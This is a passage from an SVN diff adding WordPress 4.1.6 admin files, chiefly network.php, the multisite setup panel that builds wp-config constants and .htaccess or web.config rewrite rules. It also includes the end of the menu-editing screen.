+							<div class="drag-instructions post-body-plain" <?php if ( isset( $menu_items ) && 0 == count( $menu_items ) ) { ?>style="display: none;"<?php } ?>>
+								<p><?php echo $starter_copy; ?></p>
+							</div>
+							<?php
+							if ( isset( $edit_markup ) && ! is_wp_error( $edit_markup ) ) {
+								echo $edit_markup;
+							} else {
+							?>
+							<ul class="menu" id="menu-to-edit"></ul>
+							<?php } ?>
+							<?php endif; ?>
+							<?php if ( $add_new_screen ) : ?>
+								<p class="post-body-plain"><?php _e( 'Give your menu a name above, then click Create Menu.' ); ?></p>
+								<?php if ( isset( $_GET['use-location'] ) ) : ?>
+									<input type="hidden" name="use-location" value="<?php echo esc_attr( $_GET['use-location'] ); ?>" />
+								<?php endif; ?>
+							<?php endif; ?>
+							<div class="menu-settings" <?php if ( $one_theme_location_no_menus ) { ?>style="display: none;"<?php } ?>>
+								<h3><?php _e( 'Menu Settings' ); ?></h3>
+								<?php
+								if ( ! isset( $auto_add ) ) {
+									$auto_add = get_option( 'nav_menu_options' );
+									if ( ! isset( $auto_add['auto_add'] ) )
+										$auto_add = false;
+									elseif ( false !== array_search( $nav_menu_selected_id, $auto_add['auto_add'] ) )
+										$auto_add = true;
+									else
+										$auto_add = false;
+								} ?>
+
+								<dl class="auto-add-pages">
+									<dt class="howto"><?php _e( 'Auto add pages' ); ?></dt>
+									<dd class="checkbox-input"><input type="checkbox"<?php checked( $auto_add ); ?> name="auto-add-pages" id="auto-add-pages" value="1" /> <label for="auto-add-pages"><?php printf( __('Automatically add new top-level pages to this menu' ), esc_url( admin_url( 'edit.php?post_type=page' ) ) ); ?></label></dd>
+								</dl>
+
+								<?php if ( current_theme_supports( 'menus' ) ) : ?>
+
+									<dl class="menu-theme-locations">
+										<dt class="howto"><?php _e( 'Theme locations' ); ?></dt>
+										<?php foreach ( $locations as $location => $description ) : ?>
+										<dd class="checkbox-input">
+											<input type="checkbox"<?php checked( isset( $menu_locations[ $location ] ) && $menu_locations[ $location ] == $nav_menu_selected_id ); ?> name="menu-locations[<?php echo esc_attr( $location ); ?>]" id="locations-<?php echo esc_attr( $location ); ?>" value="<?php echo esc_attr( $nav_menu_selected_id ); ?>" /> <label for="locations-<?php echo esc_attr( $location ); ?>"><?php echo $description; ?></label>
+											<?php if ( ! empty( $menu_locations[ $location ] ) && $menu_locations[ $location ] != $nav_menu_selected_id ) : ?>
+											<span class="theme-location-set"> <?php printf( __( "(Currently set to: %s)" ), wp_get_nav_menu_object( $menu_locations[ $location ] )->name ); ?> </span>
+											<?php endif; ?>
+										</dd>
+										<?php endforeach; ?>
+									</dl>
+
+								<?php endif; ?>
+
+							</div>
+						</div><!-- /#post-body-content -->
+					</div><!-- /#post-body -->
+					<div id="nav-menu-footer">
+						<div class="major-publishing-actions">
+							<?php if ( 0 != $menu_count && ! $add_new_screen ) : ?>
+							<span class="delete-action">
+								<a class="submitdelete deletion menu-delete" href="<?php echo esc_url( wp_nonce_url( add_query_arg( array( 'action' => 'delete', 'menu' => $nav_menu_selected_id, admin_url() ) ), 'delete-nav_menu-' . $nav_menu_selected_id) ); ?>"><?php _e('Delete Menu'); ?></a>
+							</span><!-- END .delete-action -->
+							<?php endif; ?>
+							<div class="publishing-action">
+								<?php submit_button( empty( $nav_menu_selected_id ) ? __( 'Create Menu' ) : __( 'Save Menu' ), 'button-primary menu-save', 'save_menu', false, array( 'id' => 'save_menu_header' ) ); ?>
+							</div><!-- END .publishing-action -->
+						</div><!-- END .major-publishing-actions -->
+					</div><!-- /#nav-menu-footer -->
+				</div><!-- /.menu-edit -->
+			</form><!-- /#update-nav-menu -->
+		</div><!-- /#menu-management -->
+	</div><!-- /#menu-management-liquid -->
+	</div><!-- /#nav-menus-frame -->
+	<?php endif; ?>
+</div><!-- /.wrap-->
+<?php include( ABSPATH . 'wp-admin/admin-footer.php' ); ?>
Index: /tags/4.1.6/src/wp-admin/network.php
===================================================================
--- /tags/4.1.6/src/wp-admin/network.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/network.php	(revision 33402)
@@ -0,0 +1,564 @@
+<?php
+/**
+ * Network installation administration panel.
+ *
+ * A multi-step process allowing the user to enable a network of WordPress sites.
+ *
+ * @since 3.0.0
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+define( 'WP_INSTALLING_NETWORK', true );
+
+/** WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if ( ! is_super_admin() )
+	wp_die( __( 'You do not have sufficient permissions to manage options for this site.' ) );
+
+if ( is_multisite() ) {
+	if ( ! is_network_admin() ) {
+		wp_redirect( network_admin_url( 'setup.php' ) );
+		exit;
+	}
+	if ( ! defined( 'MULTISITE' ) )
+		wp_die( __( 'The Network creation panel is not for WordPress MU networks.' ) );
+}
+
+// We need to create references to ms global tables to enable Network.
+foreach ( $wpdb->tables( 'ms_global' ) as $table => $prefixed_table )
+	$wpdb->$table = $prefixed_table;
+
+/**
+ * Check for an existing network.
+ *
+ * @since 3.0.0
+ * @return Whether a network exists.
+ */
+function network_domain_check() {
+	global $wpdb;
+
+	$sql = $wpdb->prepare( "SHOW TABLES LIKE %s", $wpdb->esc_like( $wpdb->site ) );
+	if ( $wpdb->get_var( $sql ) ) {
+		return $wpdb->get_var( "SELECT domain FROM $wpdb->site ORDER BY id ASC LIMIT 1" );
+	}
+	return false;
+}
+
+/**
+ * Allow subdomain install
+ *
+ * @since 3.0.0
+ * @return bool Whether subdomain install is allowed
+ */
+function allow_subdomain_install() {
+	$domain = preg_replace( '|https?://([^/]+)|', '$1', get_option( 'home' ) );
+	if( parse_url( get_option( 'home' ), PHP_URL_PATH ) || 'localhost' == $domain || preg_match( '|^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$|', $domain ) )
+		return false;
+
+	return true;
+}
+/**
+ * Allow subdirectory install.
+ *
+ * @since 3.0.0
+ * @return bool Whether subdirectory install is allowed
+ */
+function allow_subdirectory_install() {
+	global $wpdb;
+        /**
+         * Filter whether to enable the subdirectory install feature in Multisite.
+         *
+         * @since 3.0.0
+         *
+         * @param bool true Whether to enable the subdirectory install feature in Multisite. Default is false.
+         */
+	if ( apply_filters( 'allow_subdirectory_install', false ) )
+		return true;
+
+	if ( defined( 'ALLOW_SUBDIRECTORY_INSTALL' ) && ALLOW_SUBDIRECTORY_INSTALL )
+		return true;
+
+	$post = $wpdb->get_row( "SELECT ID FROM $wpdb->posts WHERE post_date < DATE_SUB(NOW(), INTERVAL 1 MONTH) AND post_status = 'publish'" );
+	if ( empty( $post ) )
+		return true;
+
+	return false;
+}
+/**
+ * Get base domain of network.
+ *
+ * @since 3.0.0
+ * @return string Base domain.
+ */
+function get_clean_basedomain() {
+	if ( $existing_domain = network_domain_check() )
+		return $existing_domain;
+	$domain = preg_replace( '|https?://|', '', get_option( 'siteurl' ) );
+	if ( $slash = strpos( $domain, '/' ) )
+		$domain = substr( $domain, 0, $slash );
+	return $domain;
+}
+
+if ( ! network_domain_check() && ( ! defined( 'WP_ALLOW_MULTISITE' ) || ! WP_ALLOW_MULTISITE ) )
+	wp_die( __( 'You must define the <code>WP_ALLOW_MULTISITE</code> constant as true in your wp-config.php file to allow creation of a Network.' ) );
+
+if ( is_network_admin() ) {
+	$title = __( 'Network Setup' );
+	$parent_file = 'settings.php';
+} else {
+	$title = __( 'Create a Network of WordPress Sites' );
+	$parent_file = 'tools.php';
+}
+
+$network_help = '<p>' . __('This screen allows you to configure a network as having subdomains (<code>site1.example.com</code>) or subdirectories (<code>example.com/site1</code>). Subdomains require wildcard subdomains to be enabled in Apache and DNS records, if your host allows it.') . '</p>' .
+	'<p>' . __('Choose subdomains or subdirectories; this can only be switched afterwards by reconfiguring your install. Fill out the network details, and click install. If this does not work, you may have to add a wildcard DNS record (for subdomains) or change to another setting in Permalinks (for subdirectories).') . '</p>' .
+	'<p>' . __('The next screen for Network Setup will give you individually-generated lines of code to add to your wp-config.php and .htaccess files. Make sure the settings of your FTP client make files starting with a dot visible, so that you can find .htaccess; you may have to create this file if it really is not there. Make backup copies of those two files.') . '</p>' .
+	'<p>' . __('Add the designated lines of code to wp-config.php (just before <code>/*...stop editing...*/</code>) and <code>.htaccess</code> (replacing the existing WordPress rules).') . '</p>' .
+	'<p>' . __('Once you add this code and refresh your browser, multisite should be enabled. This screen, now in the Network Admin navigation menu, will keep an archive of the added code. You can toggle between Network Admin and Site Admin by clicking on the Network Admin or an individual site name under the My Sites dropdown in the Toolbar.') . '</p>' .
+	'<p>' . __('The choice of subdirectory sites is disabled if this setup is more than a month old because of permalink problems with &#8220;/blog/&#8221; from the main site. This disabling will be addressed in a future version.') . '</p>' .
+	'<p><strong>' . __('For more information:') . '</strong></p>' .
+	'<p>' . __('<a href="http://codex.wordpress.org/Create_A_Network" target="_blank">Documentation on Creating a Network</a>') . '</p>' .
+	'<p>' . __('<a href="http://codex.wordpress.org/Tools_Network_Screen" target="_blank">Documentation on the Network Screen</a>') . '</p>';
+
+get_current_screen()->add_help_tab( array(
+	'id'      => 'network',
+	'title'   => __('Network'),
+	'content' => $network_help,
+) );
+
+get_current_screen()->set_help_sidebar(
+	'<p><strong>' . __('For more information:') . '</strong></p>' .
+	'<p>' . __('<a href="http://codex.wordpress.org/Create_A_Network" target="_blank">Documentation on Creating a Network</a>') . '</p>' .
+	'<p>' . __('<a href="http://codex.wordpress.org/Tools_Network_Screen" target="_blank">Documentation on the Network Screen</a>') . '</p>' .
+	'<p>' . __('<a href="https://wordpress.org/support/" target="_blank">Support Forums</a>') . '</p>'
+);
+
+include( ABSPATH . 'wp-admin/admin-header.php' );
+?>
+<div class="wrap">
+<h2><?php echo esc_html( $title ); ?></h2>
+
+<?php
+/**
+ * Prints step 1 for Network installation process.
+ *
+ * @todo Realistically, step 1 should be a welcome screen explaining what a Network is and such. Navigating to Tools > Network
+ * 	should not be a sudden "Welcome to a new install process! Fill this out and click here." See also contextual help todo.
+ *
+ * @since 3.0.0
+ */
+function network_step1( $errors = false ) {
+	global $is_apache;
+
+	if ( defined('DO_NOT_UPGRADE_GLOBAL_TABLES') ) {
+		echo '<div class="error"><p><strong>' . __('ERROR:') . '</strong> ' . __( 'The constant DO_NOT_UPGRADE_GLOBAL_TABLES cannot be defined when creating a network.' ) . '</p></div>';
+		echo '</div>';
+		include( ABSPATH . 'wp-admin/admin-footer.php' );
+		die();
+	}
+
+	$active_plugins = get_option( 'active_plugins' );
+	if ( ! empty( $active_plugins ) ) {
+		echo '<div class="updated"><p><strong>' . __('Warning:') . '</strong> ' . sprintf( __( 'Please <a href="%s">deactivate your plugins</a> before enabling the Network feature.' ), admin_url( 'plugins.php?plugin_status=active' ) ) . '</p></div><p>' . __( 'Once the network is created, you may reactivate your plugins.' ) . '</p>';
+		echo '</div>';
+		include( ABSPATH . 'wp-admin/admin-footer.php' );
+		die();
+	}
+
+	$hostname = get_clean_basedomain();
+	$has_ports = strstr( $hostname, ':' );
+	if ( ( false !== $has_ports && ! in_array( $has_ports, array( ':80', ':443' ) ) ) ) {
+		echo '<div class="error"><p><strong>' . __( 'ERROR:') . '</strong> ' . __( 'You cannot install a network of sites with your server address.' ) . '</p></div>';
+		echo '<p>' . sprintf( __( 'You cannot use port numbers such as <code>%s</code>.' ), $has_ports ) . '</p>';
+		echo '<a href="' . esc_url( admin_url() ) . '">' . __( 'Return to Dashboard' ) . '</a>';
+		echo '</div>';
+		include( ABSPATH . 'wp-admin/admin-footer.php' );
+		die();
+	}
+
+	echo '<form method="post" action="">';
+
+	wp_nonce_field( 'install-network-1' );
+
+	$error_codes = array();
+	if ( is_wp_error( $errors ) ) {
+		echo '<div class="error"><p><strong>' . __( 'ERROR: The network could not be created.' ) . '</strong></p>';
+		foreach ( $errors->get_error_messages() as $error )
+			echo "<p>$error</p>";
+		echo '</div>';
+		$error_codes = $errors->get_error_codes();
+	}
+
+	$site_name = ( ! empty( $_POST['sitename'] ) && ! in_array( 'empty_sitename', $error_codes ) ) ? $_POST['sitename'] : sprintf( _x('%s Sites', 'Default network name' ), get_option( 'blogname' ) );
+	$admin_email = ( ! empty( $_POST['email'] ) && ! in_array( 'invalid_email', $error_codes ) ) ? $_POST['email'] : get_option( 'admin_email' );
+	?>
+	<p><?php _e( 'Welcome to the Network installation process!' ); ?></p>
+	<p><?php _e( 'Fill in the information below and you&#8217;ll be on your way to creating a network of WordPress sites. We will create configuration files in the next step.' ); ?></p>
+	<?php
+
+	if ( isset( $_POST['subdomain_install'] ) ) {
+		$subdomain_install = (bool) $_POST['subdomain_install'];
+	} elseif ( apache_mod_loaded('mod_rewrite') ) { // assume nothing
+		$subdomain_install = true;
+	} elseif ( !allow_subdirectory_install() ) {
+		$subdomain_install = true;
+	} else {
+		$subdomain_install = false;
+		if ( $got_mod_rewrite = got_mod_rewrite() ) // dangerous assumptions
+			echo '<div class="updated inline"><p><strong>' . __( 'Note:' ) . '</strong> ' . __( 'Please make sure the Apache <code>mod_rewrite</code> module is installed as it will be used at the end of this installation.' ) . '</p>';
+		elseif ( $is_apache )
+			echo '<div class="error inline"><p><strong>' . __( 'Warning!' ) . '</strong> ' . __( 'It looks like the Apache <code>mod_rewrite</code> module is not installed.' ) . '</p>';
+		if ( $got_mod_rewrite || $is_apache ) // Protect against mod_rewrite mimicry (but ! Apache)
+			echo '<p>' . __( 'If <code>mod_rewrite</code> is disabled, ask your administrator to enable that module, or look at the <a href="http://httpd.apache.org/docs/mod/mod_rewrite.html">Apache documentation</a> or <a href="http://www.google.com/search?q=apache+mod_rewrite">elsewhere</a> for help setting it up.' ) . '</p></div>';
+	}
+
+	if ( allow_subdomain_install() && allow_subdirectory_install() ) : ?>
+		<h3><?php esc_html_e( 'Addresses of Sites in your Network' ); ?></h3>
+		<p><?php _e( 'Please choose whether you would like sites in your WordPress network to use sub-domains or sub-directories. <strong>You cannot change this later.</strong>' ); ?></p>
+		<p><?php _e( 'You will need a wildcard DNS record if you are going to use the virtual host (sub-domain) functionality.' ); ?></p>
+		<?php // @todo: Link to an MS readme? ?>
+		<table class="form-table">
+			<tr>
+				<th><label><input type="radio" name="subdomain_install" value="1"<?php checked( $subdomain_install ); ?> /> <?php _e( 'Sub-domains' ); ?></label></th>
+				<td><?php printf( _x( 'like <code>site1.%1$s</code> and <code>site2.%1$s</code>', 'subdomain examples' ), $hostname ); ?></td>
+			</tr>
+			<tr>
+				<th><label><input type="radio" name="subdomain_install" value="0"<?php checked( ! $subdomain_install ); ?> /> <?php _e( 'Sub-directories' ); ?></label></th>
+				<td><?php printf( _x( 'like <code>%1$s/site1</code> and <code>%1$s/site2</code>', 'subdirectory examples' ), $hostname ); ?></td>
+			</tr>
+		</table>
+
+<?php
+	endif;
+
+		if ( WP_CONTENT_DIR != ABSPATH . 'wp-content' && ( allow_subdirectory_install() || ! allow_subdomain_install() ) )
+			echo '<div class="error inline"><p><strong>' . __('Warning!') . '</strong> ' . __( 'Subdirectory networks may not be fully compatible with custom wp-content directories.' ) . '</p></div>';
+
+		$is_www = ( 0 === strpos( $hostname, 'www.' ) );
+		if ( $is_www ) :
+		?>
+		<h3><?php esc_html_e( 'Server Address' ); ?></h3>
+		<p><?php printf( __( 'We recommend you change your siteurl to <code>%1$s</code> before enabling the network feature. It will still be possible to visit your site using the <code>www</code> prefix with an address like <code>%2$s</code> but any links will not have the <code>www</code> prefix.' ), substr( $hostname, 4 ), $hostname ); ?></p>
+		<table class="form-table">
+			<tr>
+				<th scope='row'><?php esc_html_e( 'Server Address' ); ?></th>
+				<td>
+					<?php printf( __( 'The internet address of your network will be <code>%s</code>.' ), $hostname ); ?>
+				</td>
+			</tr>
+		</table>
+		<?php endif; ?>
+
+		<h3><?php esc_html_e( 'Network Details' ); ?></h3>
+		<table class="form-table">
+		<?php if ( 'localhost' == $hostname ) : ?>
+			<tr>
+				<th scope="row"><?php esc_html_e( 'Sub-directory Install' ); ?></th>
+				<td><?php
+					_e( 'Because you are using <code>localhost</code>, the sites in your WordPress network must use sub-directories. Consider using <code>localhost.localdomain</code> if you wish to use sub-domains.' );
+					// Uh oh:
+					if ( !allow_subdirectory_install() )
+						echo ' <strong>' . __( 'Warning!' ) . ' ' . __( 'The main site in a sub-directory install will need to use a modified permalink structure, potentially breaking existing links.' ) . '</strong>';
+				?></td>
+			</tr>
+		<?php elseif ( !allow_subdomain_install() ) : ?>
+			<tr>
+				<th scope="row"><?php esc_html_e( 'Sub-directory Install' ); ?></th>
+				<td><?php
+					_e( 'Because your install is in a directory, the sites in your WordPress network must use sub-directories.' );
+					// Uh oh:
+					if ( !allow_subdirectory_install() )
+						echo ' <strong>' . __( 'Warning!' ) . ' ' . __( 'The main site in a sub-directory install will need to use a modified permalink structure, potentially breaking existing links.' ) . '</strong>';
+				?></td>
+			</tr>
+		<?php elseif ( !allow_subdirectory_install() ) : ?>
+			<tr>
+				<th scope="row"><?php esc_html_e( 'Sub-domain Install' ); ?></th>
+				<td><?php _e( 'Because your install is not new, the sites in your WordPress network must use sub-domains.' );
+					echo ' <strong>' . __( 'The main site in a sub-directory install will need to use a modified permalink structure, potentially breaking existing links.' ) . '</strong>';
+				?></td>
+			</tr>
+		<?php endif; ?>
+		<?php if ( ! $is_www ) : ?>
+			<tr>
+				<th scope='row'><?php esc_html_e( 'Server Address' ); ?></th>
+				<td>
+					<?php printf( __( 'The internet address of your network will be <code>%s</code>.' ), $hostname ); ?>
+				</td>
+			</tr>
+		<?php endif; ?>
+			<tr>
+				<th scope='row'><?php esc_html_e( 'Network Title' ); ?></th>
+				<td>
+					<input name='sitename' type='text' size='45' value='<?php echo esc_attr( $site_name ); ?>' />
+					<p class="description">
+						<?php _e( 'What would you like to call your network?' ); ?>
+					</p>
+				</td>
+			</tr>
+			<tr>
+				<th scope='row'><?php esc_html_e( 'Network Admin Email' ); ?></th>
+				<td>
+					<input name='email' type='text' size='45' value='<?php echo esc_attr( $admin_email ); ?>' />
+					<p class="description">
+						<?php _e( 'Your email address.' ); ?>
+					</p>
+				</td>
+			</tr>
+		</table>
+		<?php submit_button( __( 'Install' ), 'primary', 'submit' ); ?>
+	</form>
+	<?php
+}
+
+/**
+ * Prints step 2 for Network installation process.
+ *
+ * @since 3.0.0
+ */
+function network_step2( $errors = false ) {
+	global $wpdb;
+
+	$hostname          = get_clean_basedomain();
+	$slashed_home      = trailingslashit( get_option( 'home' ) );
+	$base              = parse_url( $slashed_home, PHP_URL_PATH );
+	$document_root_fix = str_replace( '\\', '/', realpath( $_SERVER['DOCUMENT_ROOT'] ) );
+	$abspath_fix       = str_replace( '\\', '/', ABSPATH );
+	$home_path         = 0 === strpos( $abspath_fix, $document_root_fix ) ? $document_root_fix . $base : get_home_path();
+	$wp_siteurl_subdir = preg_replace( '#^' . preg_quote( $home_path, '#' ) . '#', '', $abspath_fix );
+	$rewrite_base      = ! empty( $wp_siteurl_subdir ) ? ltrim( trailingslashit( $wp_siteurl_subdir ), '/' ) : '';
+
+
+	$location_of_wp_config = $abspath_fix;
+	if ( ! file_exists( ABSPATH . 'wp-config.php' ) && file_exists( dirname( ABSPATH ) . '/wp-config.php' ) ) {
+		$location_of_wp_config = dirname( $abspath_fix );
+	}
+	$location_of_wp_config = trailingslashit( $location_of_wp_config );
+
+	// Wildcard DNS message.
+	if ( is_wp_error( $errors ) )
+		echo '<div class="error">' . $errors->get_error_message() . '</div>';
+
+	if ( $_POST ) {
+		if ( allow_subdomain_install() )
+			$subdomain_install = allow_subdirectory_install() ? ! empty( $_POST['subdomain_install'] ) : true;
+		else
+			$subdomain_install = false;
+	} else {
+		if ( is_multisite() ) {
+			$subdomain_install = is_subdomain_install();
+?>
+	<p><?php _e( 'The original configuration steps are shown here for reference.' ); ?></p>
+<?php
+		} else {
+			$subdomain_install = (bool) $wpdb->get_var( "SELECT meta_value FROM $wpdb->sitemeta WHERE site_id = 1 AND meta_key = 'subdomain_install'" );
+?>
+	<div class="error"><p><strong><?php _e('Warning:'); ?></strong> <?php _e( 'An existing WordPress network was detected.' ); ?></p></div>
+	<p><?php _e( 'Please complete the configuration steps. To create a new network, you will need to empty or remove the network database tables.' ); ?></p>
+<?php
+		}
+	}
+
+	$subdir_match          = $subdomain_install ? '' : '([_0-9a-zA-Z-]+/)?';
+	$subdir_replacement_01 = $subdomain_install ? '' : '$1';
+	$subdir_replacement_12 = $subdomain_install ? '$1' : '$2';
+
+	if ( $_POST || ! is_multisite() ) {
+?>
+		<h3><?php esc_html_e( 'Enabling the Network' ); ?></h3>
+		<p><?php _e( 'Complete the following steps to enable the features for creating a network of sites.' ); ?></p>
+		<div class="updated inline"><p><?php
+			if ( file_exists( $home_path . '.htaccess' ) )
+				printf( __( '<strong>Caution:</strong> We recommend you back up your existing <code>wp-config.php</code> and <code>%s</code> files.' ), '.htaccess' );
+			elseif ( file_exists( $home_path . 'web.config' ) )
+				printf( __( '<strong>Caution:</strong> We recommend you back up your existing <code>wp-config.php</code> and <code>%s</code> files.' ), 'web.config' );
+			else
+				_e( '<strong>Caution:</strong> We recommend you back up your existing <code>wp-config.php</code> file.' );
+		?></p></div>
+<?php
+	}
+?>
+		<ol>
+			<li><p><?php printf( __( 'Add the following to your <code>wp-config.php</code> file in <code>%s</code> <strong>above</strong> the line reading <code>/* That&#8217;s all, stop editing! Happy blogging. */</code>:' ), $location_of_wp_config ); ?></p>
+				<textarea class="code" readonly="readonly" cols="100" rows="7">
+define('MULTISITE', true);
+define('SUBDOMAIN_INSTALL', <?php echo $subdomain_install ? 'true' : 'false'; ?>);
+define('DOMAIN_CURRENT_SITE', '<?php echo $hostname; ?>');
+define('PATH_CURRENT_SITE', '<?php echo $base; ?>');
+define('SITE_ID_CURRENT_SITE', 1);
+define('BLOG_ID_CURRENT_SITE', 1);
+</textarea>
+<?php
+	$keys_salts = array( 'AUTH_KEY' => '', 'SECURE_AUTH_KEY' => '', 'LOGGED_IN_KEY' => '', 'NONCE_KEY' => '', 'AUTH_SALT' => '', 'SECURE_AUTH_SALT' => '', 'LOGGED_IN_SALT' => '', 'NONCE_SALT' => '' );
+	foreach ( $keys_salts as $c => $v ) {
+		if ( defined( $c ) )
+			unset( $keys_salts[ $c ] );
+	}
+
+	if ( ! empty( $keys_salts ) ) {
+		$keys_salts_str = '';
+		$from_api = wp_remote_get( 'https://api.wordpress.org/secret-key/1.1/salt/' );
+		if ( is_wp_error( $from_api ) ) {
+			foreach ( $keys_salts as $c => $v ) {
+				$keys_salts_str .= "\ndefine( '$c', '" . wp_generate_password( 64, true, true ) . "' );";
+			}
+		} else {
+			$from_api = explode( "\n", wp_remote_retrieve_body( $from_api ) );
+			foreach ( $keys_salts as $c => $v ) {
+				$keys_salts_str .= "\ndefine( '$c', '" . substr( array_shift( $from_api ), 28, 64 ) . "' );";
+			}
+		}
+		$num_keys_salts = count( $keys_salts );
+?>
+	<p><?php
+		echo _n( 'This unique authentication key is also missing from your <code>wp-config.php</code> file.', 'These unique authentication keys are also missing from your <code>wp-config.php</code> file.', $num_keys_salts ); ?> <?php _e( 'To make your installation more secure, you should also add:' ) ?></p>
+	<textarea class="code" readonly="readonly" cols="100" rows="<?php echo $num_keys_salts; ?>"><?php echo esc_textarea( $keys_salts_str ); ?></textarea>
+<?php
+	}
+?>
+</li>
+<?php
+	if ( iis7_supports_permalinks() ) :
+		// IIS doesn't support RewriteBase, all your RewriteBase are belong to us
+		$iis_subdir_match = ltrim( $base, '/' ) . $subdir_match;
+		$iis_rewrite_base = ltrim( $base, '/' ) . $rewrite_base;
+		$iis_subdir_replacement = $subdomain_install ? '' : '{R:1}';
+
+		$web_config_file = '<?xml version="1.0" encoding="UTF-8"?>
+<configuration>
+    <system.webServer>
+        <rewrite>
+            <rules>
+                <rule name="WordPress Rule 1" stopProcessing="true">
+                    <match url="^index\.php$" ignoreCase="false" />
+                    <action type="None" />
+                </rule>';
+				if ( is_multisite() && get_site_option( 'ms_files_rewriting' ) ) {
+					$web_config_file .= '
+                <rule name="WordPress Rule for Files" stopProcessing="true">
+                    <match url="^' . $iis_subdir_match . 'files/(.+)" ignoreCase="false" />
+                    <action type="Rewrite" url="' . $iis_rewrite_base . WPINC . '/ms-files.php?file={R:1}" appendQueryString="false" />
+                </rule>';
+                }
+                $web_config_file .= '
+                <rule name="WordPress Rule 2" stopProcessing="true">
+                    <match url="^' . $iis_subdir_match . 'wp-admin$" ignoreCase="false" />
+                    <action type="Redirect" url="' . $iis_subdir_replacement . 'wp-admin/" redirectType="Permanent" />
+                </rule>
+                <rule name="WordPress Rule 3" stopProcessing="true">
+                    <match url="^" ignoreCase="false" />
+                    <conditions logicalGrouping="MatchAny">
+                        <add input="{REQUEST_FILENAME}" matchType="IsFile" ignoreCase="false" />
+                        <add input="{REQUEST_FILENAME}" matchType="IsDirectory" ignoreCase="false" />
+                    </conditions>
+                    <action type="None" />
+                </rule>
+                <rule name="WordPress Rule 4" stopProcessing="true">
+                    <match url="^' . $iis_subdir_match . '(wp-(content|admin|includes).*)" ignoreCase="false" />
+                    <action type="Rewrite" url="' . $iis_rewrite_base . '{R:1}" />
+                </rule>
+                <rule name="WordPress Rule 5" stopProcessing="true">
+                    <match url="^' . $iis_subdir_match . '([_0-9a-zA-Z-]+/)?(.*\.php)$" ignoreCase="false" />
+                    <action type="Rewrite" url="' . $iis_rewrite_base . '{R:2}" />
+                </rule>
+                <rule name="WordPress Rule 6" stopProcessing="true">
+                    <match url="." ignoreCase="false" />
+                    <action type="Rewrite" url="index.php" />
+                </rule>
+            </rules>
+        </rewrite>
+    </system.webServer>
+</configuration>
+';
+
+		echo '<li><p>';
+		/* translators: 1: a filename like .htaccess. 2: a file path. */
+		printf( __( 'Add the following to your %1$s file in %2$s, <strong>replacing</strong> other WordPress rules:' ),
+			'<code>web.config</code>', '<code>' . $home_path . '</code>' );
+		echo '</p>';
+		if ( ! $subdomain_install && WP_CONTENT_DIR != ABSPATH . 'wp-content' )
+			echo '<p><strong>' . __('Warning:') . ' ' . __( 'Subdirectory networks may not be fully compatible with custom wp-content directories.' ) . '</strong></p>';
+		?>
+		<textarea class="code" readonly="readonly" cols="100" rows="20"><?php echo esc_textarea( $web_config_file ); ?>
+		</textarea></li>
+		</ol>
+
+	<?php else : // end iis7_supports_permalinks(). construct an htaccess file instead:
+
+		$ms_files_rewriting = '';
+		if ( is_multisite() && get_site_option( 'ms_files_rewriting' ) ) {
+			$ms_files_rewriting = "\n# uploaded files\nRewriteRule ^";
+			$ms_files_rewriting .= $subdir_match . "files/(.+) {$rewrite_base}" . WPINC . "/ms-files.php?file={$subdir_replacement_12} [L]" . "\n";
+		}
+
+		$htaccess_file = <<<EOF
+RewriteEngine On
+RewriteBase {$base}
+RewriteRule ^index\.php$ - [L]
+{$ms_files_rewriting}
+# add a trailing slash to /wp-admin
+RewriteRule ^{$subdir_match}wp-admin$ {$subdir_replacement_01}wp-admin/ [R=301,L]
+
+RewriteCond %{REQUEST_FILENAME} -f [OR]
+RewriteCond %{REQUEST_FILENAME} -d
+RewriteRule ^ - [L]
+RewriteRule ^{$subdir_match}(wp-(content|admin|includes).*) {$rewrite_base}{$subdir_replacement_12} [L]
+RewriteRule ^{$subdir_match}(.*\.php)$ {$rewrite_base}$subdir_replacement_12 [L]
+RewriteRule . index.php [L]
+
+EOF;
+
+		echo '<li><p>';
+		/* translators: 1: a filename like .htaccess. 2: a file path. */
+		printf( __( 'Add the following to your %1$s file in %2$s, <strong>replacing</strong> other WordPress rules:' ),
+			'<code>.htaccess</code>', '<code>' . $home_path . '</code>' );
+		echo '</p>';
+		if ( ! $subdomain_install && WP_CONTENT_DIR != ABSPATH . 'wp-content' )
+			echo '<p><strong>' . __('Warning:') . ' ' . __( 'Subdirectory networks may not be fully compatible with custom wp-content directories.' ) . '</strong></p>';
+		?>
+		<textarea class="code" readonly="readonly" cols="100" rows="<?php echo substr_count( $htaccess_file, "\n" ) + 1; ?>">
+<?php echo esc_textarea( $htaccess_file ); ?></textarea></li>
+		</ol>
+
+	<?php endif; // end IIS/Apache code branches.
+
+	if ( !is_multisite() ) { ?>
+		<p><?php printf( __( 'Once you complete these steps, your network is enabled and configured. You will have to log in again.') ); ?> <a href="<?php echo esc_url( site_url( 'wp-login.php' ) ); ?>"><?php _e( 'Log In' ); ?></a></p>
+<?php
+	}
+}
+
+if ( $_POST ) {
+
+	check_admin_referer( 'install-network-1' );
+
+	require_once( ABSPATH . 'wp-admin/includes/upgrade.php' );
+	// Create network tables.
+	install_network();
+	$base              = parse_url( trailingslashit( get_option( 'home' ) ), PHP_URL_PATH );
+	$subdomain_install = allow_subdomain_install() ? !empty( $_POST['subdomain_install'] ) : false;
+	if ( ! network_domain_check() ) {
+		$result = populate_network( 1, get_clean_basedomain(), sanitize_email( $_POST['email'] ), wp_unslash( $_POST['sitename'] ), $base, $subdomain_install );
+		if ( is_wp_error( $result ) ) {
+			if ( 1 == count( $result->get_error_codes() ) && 'no_wildcard_dns' == $result->get_error_code() )
+				network_step2( $result );
+			else
+				network_step1( $result );
+		} else {
+			network_step2();
+		}
+	} else {
+		network_step2();
+	}
+} elseif ( is_multisite() || network_domain_check() ) {
+	network_step2();
+} else {
+	network_step1();
+}
+?>
+</div>
+
+<?php include( ABSPATH . 'wp-admin/admin-footer.php' ); ?>
Index: /tags/4.1.6/src/wp-admin/network/about.php
===================================================================
--- /tags/4.1.6/src/wp-admin/network/about.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/network/about.php	(revision 33402)
@@ -0,0 +1,16 @@
+<?php
+/**
+ * Network About administration panel.
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 3.4.0
+ */
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if ( ! is_multisite() )
